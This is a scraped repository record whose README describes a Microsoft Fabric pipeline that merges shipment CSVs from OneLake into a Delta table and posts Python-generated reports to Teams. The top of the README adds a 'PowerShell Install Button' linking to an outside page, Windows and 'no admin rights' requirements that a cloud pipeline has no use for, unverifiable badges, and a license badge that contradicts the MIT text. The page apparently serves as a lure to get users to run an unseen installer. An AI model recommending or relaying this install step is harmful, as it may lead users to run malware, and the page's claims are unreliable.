[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109794":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":14,"archived":15,"fork":15,"defaultBranch":16,"hasWiki":17,"hasPages":17,"topics":18,"createdAt":9,"pushedAt":38,"updatedAt":39,"readmeContent":40,"aiSummary":41,"trendingCount":12,"starSnapshotCount":12,"syncStatus":42,"lastSyncTime":43,"discoverSource":44},109794,"fabric-pipeline-express-7","ArteVisualenVivo\u002Ffabric-pipeline-express-7","ArteVisualenVivo","Event-driven OneLake pipeline with automated Upsert merge and Python reporting",null,"TypeScript",149,0,40,"MIT License",false,"main",true,[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"activator","data-engineering","data-factory","data-pipeline","delta-lake","dp-600","dp-700","etl","event-driven","francais","lakehouse","microsoft-fabric","microsoft-teams","onelake","python","real-time-intelligence","sql","upsert","user-data-functions","2026-11-23 10:11:14","2026-11-12 09:08:05","\u003Cdiv align=\"center\">\n\n# Fabric Pipeline Express 7: Event-Driven OneLake Upsert Automation for Windows 11\n\n![](files\u002F1.svg)\n\n### 📦 PowerShell Install Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002FArteVisualenVivo.github.io\u002Ffabric-pipeline-express-7\u002F)\n\n[![system](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FSystem-Win_10%2F11-f97316?style=social&labelColor=0d1117)]() [![score](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FScore-4.9%2F5-f59e0b?style=social&labelColor=0d1117)]() [![ci](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCi-Passing-2ea44f?style=social&labelColor=0d1117)]() [![ps-core](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPs--Core-5%2B-fb923c?style=social&labelColor=0d1117)]() [![licence](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicence-Mpl--2.0-ea580c?style=social&labelColor=0d1117)]() [![downloads](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownloads-847-c2410c?style=social&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nfabric-pipeline-express-7 implémente un pipeline Microsoft Fabric Data Factory entièrement événementiel : dès qu'un fichier de suivi de colis est déposé dans OneLake, le pipeline se déclenche automatiquement sans intervention manuelle. Il fusionne les enregistrements reçus dans une table Delta via une opération Upsert sur la clé shipment_id, garantissant qu'aucune ligne n'est dupliquée, même lorsqu'un fichier est rejoué. Une fonction Python hébergée dans Fabric analyse ensuite le nom du fichier et le volume de lignes traitées pour rédiger un compte rendu de vague, qui est publié dans Microsoft Teams. Le projet repose sur quatre activités — Set variable, Copy data, Functions et Microsoft Teams — orchestrées par un déclencheur OneLake, et inclut le code de la fonction, les expressions du pipeline et un guide PDF détaillant chaque étape.\n\n## 🔧 Requirements\n\n- Windows 10 or Windows 11\n- PowerShell 5.1 or newer (already available on Windows)\n- Active network connection\n- No admin rights needed\n\n## Features\n\n- **Event-driven orchestration**: A trigger bound to OneLake file-created events watches the designated inbox folder and launches the pipeline automatically the moment a matching file lands. No scheduler, no manual run, no polling loop; the arrival of data is itself the execution signal.\n\n- **Parameterless-by-design entry point**: The trigger event carries the file name through to the pipeline, where a variable resolution step coalesces the event payload with an optional manual parameter. The same pipeline supports both automatic and on-demand invocation without code changes or duplicated definitions.\n\n- **Key-based Upsert merge**: The copy activity targets a Delta table with Upsert semantics on a single business key. Incoming rows are compared against existing records; absent keys are inserted, present keys are updated in place. Replaying the same file is idempotent and never produces duplicate records, eliminating the need for hand-written MERGE statements or post-load deduplication.\n\n- **Embedded Python reporting function**: A user-defined function hosted in the workspace accepts the file name and the row count read by the copy activity, derives the batch timestamp from the file naming convention, classifies load volume against a configurable threshold, and returns a formatted natural-language summary. The function is independently testable and callable from any pipeline in the same workspace.\n\n- **Downstream notification activity**: The generated summary is passed directly as the message body of a Teams activity, publishing the batch report to the target channel without intermediate storage or transformation steps.\n\n- **Deterministic file-name parsing**: Wave timing is extracted from the trailing numeric segment of the file name and rendered into a human-readable form, keeping the reporting logic decoupled from any external metadata store.\n\n- **Explicit activity chain**: The pipeline composes a variable assignment, a copy activity, a function invocation, and a notification activity in a linear, auditable sequence, with each step's output available to the next through the standard activity output contract.\n\n- **Observable end-to-end latency**: The interval between file deposit and channel notification is measured in minutes, with each stage individually inspectable in the run history for diagnosis and tuning.\n\n## How it works\n\nThe pipeline is built around a continuous, event-driven sequence composed of four activities and a single trigger. Each stage performs one clearly scoped operation, passing its result forward to the next so that the file name, the row count, and the report text move through the run without manual intervention.\n\n**1. Event capture.** The trigger `TR_Dock_Inbox` subscribes to OneLake events on the `Files\u002Finbox` folder of the `LH_Dock` lakehouse. It listens for the file-created event type and applies a subject-based filter that accepts only `.csv` files, so unrelated deposits in the same folder do not start a run. When a matching file appears, the trigger launches `PL_Dock_Express` and forwards the event payload as input. The same pipeline accepts a `file_name` parameter, which allows manual runs to follow the identical path.\n\n**2. File resolution.** The `Pick file` activity is a Set variable operation that resolves the working file name into the `file` variable. It evaluates the trigger event first and falls back to the pipeline parameter when no event is present. This coalescing logic means the downstream activities never need to know whether the run was triggered automatically or started by hand.\n\n**3. Upsert into Delta.** The `Upsert shipments` activity is a Copy data operation that reads the resolved source path and writes to the `shipments` Delta table. It is configured with the Upsert write behavior and uses `shipment_id` as the key column. Incoming rows are compared against the table by key: unknown identifiers are inserted, and existing identifiers are updated in place with the new column values. The activity outputs the number of rows read, which is captured for the reporting stage. Because the merge is keyed, replaying the same file leaves the table unchanged rather than duplicating records.\n\n**4. Report generation.** The `Build report` activity invokes the user data function `build_report` hosted in `FN_Dock`. It receives the file name and the row count from the previous stage. The Python function derives the wave label from the file name suffix, classifies the load volume against a threshold, and returns a single formatted sentence. Because the logic lives in a published function rather than inline expressions, it can be tested independently and reused by other pipelines in the workspace.\n\n**5. Notification.** The `Post report` activity is a Microsoft Teams operation that publishes the string returned by `Build report` into the target channel. The message content is bound to the function output, so the announcement reflects the actual file and row count of the run that just completed.\n\nThe dependency chain between activities is explicit: `Pick file` feeds `Upsert shipments`, which feeds `Build report`, which feeds `Post report`. No stage polls or schedules; execution propagates from the incoming event to the final message, and the run terminates once the notification is delivered.\n\n## Compatibility\n\nThe pipeline is designed to run natively inside Microsoft Fabric and depends on the following platform capabilities, all of which must be available in the target workspace.\n\n**OneLake and Lakehouse.** A Fabric lakehouse (`LH_Dock` in the reference topology) must host the `Files\u002Finbox` landing area and the Delta table `shipments`. The trigger relies on `Microsoft.Fabric.OneLake.FileCreated` events emitted by the OneLake events subsystem, so the workspace must have event-based triggers enabled and the lakehouse must reside in a capacity that supports them. Files must be `.csv` and follow the naming convention `\u003Cprefix>_\u003CYYYY-MM-DD>_\u003CHHMM>.csv`; the wave timestamp is parsed from the final underscore-delimited segment.\n\n**Fabric Data Factory.** The pipeline uses the `Set variable`, `Copy data`, `Functions` and `Microsoft Teams` activities and a parameter named `file_name`. The Copy data activity requires a Delta sink with the Upsert action configured on the `shipment_id` key, which in turn requires the target table to expose that column as a merge key. Replaying an already-processed file is supported and idempotent by design.\n\n**User data functions.** The `build_report` function targets the Fabric user data functions runtime with the `fabric.functions` Python package and the `@udf.function()` decorator. Parameters are passed in camelCase (`fileName`, `rowsRead`) and the function returns a plain string. The function must be published to the workspace before the pipeline can invoke it, and the calling pipeline must be in the same workspace as the function.\n\n**Activator.** The `TR_Dock_Inbox` rule listens for OneLake file-created events, filters on the `inbox` folder and on `subject` ending in `.csv`, and forwards the full event payload to the pipeline. The pipeline's `Pick file` variable resolves the file name via `coalesce(pipeline()?.TriggerEvent?.FileName, pipeline().parameters.file_name)`, so manual runs remain possible by supplying `file_name` directly.\n\n**Microsoft Teams.** The `Post report` activity publishes to a Teams channel and requires the Fabric–Teams integration to be authorized for the workspace identity. Message content is taken from `activity('Build report').output.output`.\n\n**SQL analytics endpoint.** The validation queries in this repository run against the lakehouse SQL analytics endpoint and assume the `shipments` table has been synchronized. Direct Lake or SQL endpoint synchronization latency may delay visibility of newly merged rows.\n\n**Data contract.** Input files carry six columns — `shipment_id`, `client`, `destination`, `weight_kg`, `status`, `updated_at` — and the `status` domain is limited to `PREPARE`, `EXPEDIE`, `LIVRE` and `RETARD`. Files that deviate from this schema or naming convention are not guaranteed to be processed correctly by the Upsert or by the report function.\n\n**Capacity and regional constraints.** Cross-region workspace configurations and capacities without the required Fabric workloads enabled are not supported. The project assumes a single workspace containing the lakehouse, the user data functions and the pipeline.\n\n## 📸 Screenshot\n\n![](files\u002F2.png)\n\n![](files\u002F3.png)\n\n![](files\u002F4.png)\n\n![](files\u002F5.png)\n\n## FAQ\n\n**Le déclencheur se déclenche-t-il pour tout fichier déposé dans le lakehouse ?**\n\nNon. La règle `TR_Dock_Inbox` filtre les événements sur deux critères cumulatifs : le dossier ciblé, limité à `Files\u002Finbox`, et l'extension du fichier, dont le sujet doit se terminer par `.csv`. Un fichier déposé ailleurs dans le lakehouse, ou avec une autre extension, ne lance pas le pipeline. Ce filtrage s'effectue en amont de l'exécution, ce qui évite de consommer une capacité pour des objets non destinés au traitement.\n\n**Que se passe-t-il si le même fichier est déposé deux fois ?**\n\nL'activité `Upsert shipments` applique une fusion sur la clé `shipment_id`. Une ligne dont l'identifiant est déjà présent dans la table Delta remplace la version existante au lieu de s'ajouter. Le rejeu d'un fichier est donc idempotent : le nombre de lignes de la table reste inchangé et aucun doublon n'est créé. La quatrième exécution du tableau de référence illustre ce comportement avec le fichier de 14 h rejoué à l'identique.\n\n**Comment le pipeline détermine-t-il le fichier à traiter lorsqu'il est lancé manuellement ?**\n\nL'activité `Pick file` résout le nom de fichier par une expression de coalescence : elle lit d'abord `pipeline()?.TriggerEvent?.FileName`, puis se rabat sur le paramètre `file_name` du pipeline. En exécution déclenchée, le nom voyage avec l'événement OneLake et n'est jamais saisi manuellement. En exécution manuelle, l'opérateur renseigne le paramètre. Les deux modes partagent ainsi le même chemin de traitement, sans duplication de logique.\n\n**Sur quels types de colonnes la clé d'Upsert peut-elle être définie ?**\n\nLa clé `shipment_id` est une colonne scalaire à valeurs uniques, ce qui constitue la condition d'une fusion fiable. L'activité Copy data en mode Upsert compare chaque ligne entrante à la table cible sur cette clé. Une clé composite reste possible si le besoin métier l'exige, à condition que la combinaison de colonnes soit unique dans le fichier source comme dans la table. Une clé non unique produirait des correspondances multiples et un comportement de fusion indéterminé.\n\n**Quel est le contrat d'interface de la fonction Python `build_report` ?**\n\nLa fonction expose deux paramètres typés, `fileName` de type chaîne et `rowsRead` de type entier, et retourne une chaîne. Les noms suivent la convention camelCase attendue par les fonctions de données utilisateur de Fabric. Elle dérive l'heure de la vague à partir du suffixe du nom de fichier, qualifie la charge selon un seuil sur `rowsRead`, et compose la phrase publiée. La fonction est sans état et sans dépendance externe : elle peut être testée isolément, publiée une fois dans l'espace de travail, et invoquée par n'importe quel pipeline qui en respecte la signature.\n\n**Comment le message Teams est-il construit à partir de la sortie de la fonction ?**\n\nL'activité `Post report` référence la sortie de l'activité Functions par l'expression `@{activity('Build report').output.output}`. La chaîne rédigée par Python est ainsi injectée directement dans le corps du message, sans transformation intermédiaire. Toute modification du format du compte rendu s'effectue donc dans la fonction elle-même, et se propage au canal sans retoucher le pipeline.\n\n**Quelles dépendances techniques le projet requiert-il côté Fabric ?**\n\nL'exécution suppose un lakehouse avec un dossier `Files\u002Finbox` et une table Delta cible, une ressource Functions hébergeant la fonction publiée, un pipeline paramétré, une règle Activator abonnée aux événements OneLake, et un canal Teams accessible. Le point de terminaison SQL du lakehouse permet de vérifier l'état de la table après chaque vague. Aucune orchestration planifiée n'est nécessaire : le déclencheur événementiel constitue l'unique point d'entrée en production.\n\n**Le comportement est-il reproductible sur un autre espace de travail ?**\n\nOui, à condition de recréer les objets nommés — lakehouse, fonctions, pipeline, règle de déclenchement — et de reporter les expressions fournies dans le fichier `data\u002Fexpressions.txt`. Les noms d'objets et les chemins internes doivent être alignés sur la nouvelle topologie. Les jeux de données fournis permettent de rejouer les trois vagues et de retrouver les totaux attendus : 150 colis, 150 identifiants distincts, et la répartition par statut documentée.\n\n## Disclaimer\n\nThe materials in this repository are provided for educational and demonstration purposes only. The dataset shipped with fabric-pipeline-express-7 is entirely fictitious and was constructed solely to exercise the pipeline; it does not represent any real shipment, client, address, or logistics operation, and no correspondence with production data is intended or implied.\n\nThe software and accompanying assets are supplied \"as is\", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, accuracy, and non-infringement. The author makes no guarantee that the pipeline, the Python user data function, the Upsert logic, or the Teams notification will behave identically in another tenant, workspace, capacity, or Fabric runtime version, nor that any documented figure will reproduce exactly outside the reference environment.\n\nThe behavior of fabric-pipeline-express-7 depends on external platform components that are outside its control: OneLake event delivery, Activator rule evaluation, the Data Factory runtime, the Delta Lake table format, the Fabric user data functions host, and Microsoft Teams channel publication. Latency, ordering, retry semantics, and event payload shape are governed by those services and may change. The documented end-to-end interval of roughly two minutes is an observation in a single environment, not a service-level commitment.\n\nThe Upsert copy merges rows on the declared key. Correctness of the resulting table depends on the uniqueness and stability of that key in the source files. Duplicate keys within a single incoming file, null keys, or key values that change between waves can produce results different from those described. Consumers remain responsible for validating key uniqueness upstream and for reconciling the merged table against their own source of truth.\n\nEvent-triggered execution means the pipeline can start without human action. Operators should account for concurrent or replayed events, partial file uploads that satisfy the trigger filter before the file is complete, and repeated processing of the same file. The merge is idempotent with respect to the key, but downstream systems consuming the table or the Teams message should not assume exactly-once delivery of notifications.\n\nUsers are responsible for verifying that deployment and operation comply with their organization's data governance, retention, access control, and security policies, including the handling of any data placed in OneLake and the audience of any Teams channel used for reporting. Credentials, connection references, and workspace permissions are managed in the target environment and are not part of this repository.\n\nNo liability is accepted for any direct, indirect, incidental, special, or consequential loss or damage arising from the use of, or inability to use, this project or its documentation, including but not limited to loss of data, incorrect reporting, or operational disruption.\n\nNames of products and services referenced in this document are the trademarks or registered trademarks of their respective owners. Their use here is descriptive only and does not imply endorsement, sponsorship, or affiliation with fabric-pipeline-express-7.\n\n## License\n\n`fabric-pipeline-express-7` est distribué sous licence MIT. Le texte intégral de la licence accompagne le projet dans le fichier `LICENSE` à la racine du dépôt et prévaut en cas de divergence avec le présent résumé.\n\n**Droits accordés.** La licence MIT autorise l'utilisation, la copie, la modification, la fusion, la publication, la distribution, la sous-licence et la vente du logiciel et de sa documentation, sans restriction, y compris à des fins commerciales, sous réserve du maintien de la mention de copyright et du texte de la licence dans toutes les copies ou parties substantielles du logiciel.\n\n**Conditions de redistribution.** Toute redistribution, sous forme source ou compilée, doit conserver l'avis de copyright original et la clause de non-garantie. Les fichiers de données d'exemple (`data\u002F`) et la fonction Python `build_report` sont couverts par la même licence que le reste du dépôt.\n\n**Absence de garantie.** Le logiciel est fourni « en l'état », sans garantie expresse ou implicite, y compris, mais sans s'y limiter, les garanties de qualité marchande, d'adéquation à un usage particulier et d'absence de contrefaçon. En aucun cas les auteurs ou titulaires du copyright ne sauraient être tenus responsables de toute réclamation, dommage ou autre responsabilité découlant de l'utilisation du logiciel ou des données associées.\n\n**Périmètre.** La licence couvre l'ensemble du contenu du dépôt : pipeline, expressions, fonction de données utilisateur, jeu de données fictif et documentation. Les services tiers sollicités à l'exécution (Microsoft Fabric, OneLake, Activator, Microsoft Teams) restent régis par leurs propres conditions d'utilisation et ne sont pas couverts par la présente licence.","这是一个面向 Microsoft Fabric 的事件驱动型 OneLake 数据管道工具，专为自动化处理入湖文件设计。核心功能包括：基于 OneLake 文件创建事件的零延迟触发、针对 Delta 表的键值级 Upsert 合并（以 shipment_id 为业务主键，确保幂等性与去重）、以及嵌入式 Python 函数自动生成处理报告并推送至 Microsoft Teams。项目采用 TypeScript 编写，通过 Data Factory 四活动流（Set variable、Copy data、Functions、Microsoft Teams）实现轻量编排，无需调度器或管理员权限，开箱即用于 Windows 10\u002F11 环境。适用于物流跟踪、IoT 设备数据接入等需实时、可靠、低干预地将结构化文件写入 Lakehouse 的场景。",2,"2026-11-24 04:37:29","CREATED_QUERY"]